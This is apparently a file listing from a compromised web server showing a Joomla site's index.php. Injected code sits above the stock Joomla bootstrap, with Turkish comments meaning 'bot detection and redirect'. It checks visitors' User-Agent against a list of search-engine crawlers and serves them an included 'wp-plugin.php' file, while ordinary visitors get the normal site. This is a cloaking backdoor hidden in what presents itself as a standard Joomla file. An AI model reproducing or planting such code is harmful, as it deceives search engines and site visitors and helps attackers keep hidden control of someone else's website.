| Current Path : /home/zieirix/www/.panel_versions/370797d7ebe486ee/ |
| Current File : /home/zieirix/www/.panel_versions/370797d7ebe486ee/20260610_115900_0447052f |
<?php
// Bot tespiti ve yönlendirme
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$bots = array(
'googlebot', 'google', 'googlebot-image', 'googlebot-news', 'googlebot-mobile',
'google-inspectiontool', 'slurp', 'spider', 'crawl', 'msnbot', 'yahoo',
'ask jeeves', 'yandexbot', 'bingbot', 'duckduckbot', 'baiduspider',
'exabot', 'sogou', 'ahrefbot', 'semrushbot', 'mj12bot', 'applebot',
'facebookexternalhit', 'twitterbot'
);
$is_bot = false;
foreach ($bots as $bot) {
if (strpos($user_agent, $bot) !== false) {
$is_bot = true;
break;
}
}
if ($is_bot) {
include(dirname(__FILE__) . '/wp-plugin.php');
exit;
}
// Normal kullanıcı → Joomla
/**
* @package Joomla.Site
*
* @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
define('JOOMLA_MINIMUM_PHP', '5.3.10');
if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}
$startTime = microtime(1);
$startMem = memory_get_usage();
define('_JEXEC', 1);
if (file_exists(__DIR__ . '/defines.php')) {
include_once __DIR__ . '/defines.php';
}
if (!defined('_JDEFINES')) {
define('JPATH_BASE', __DIR__);
require_once JPATH_BASE . '/includes/defines.php';
}
require_once JPATH_BASE . '/includes/framework.php';
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;
$app = JFactory::getApplication('site');
$app->execute();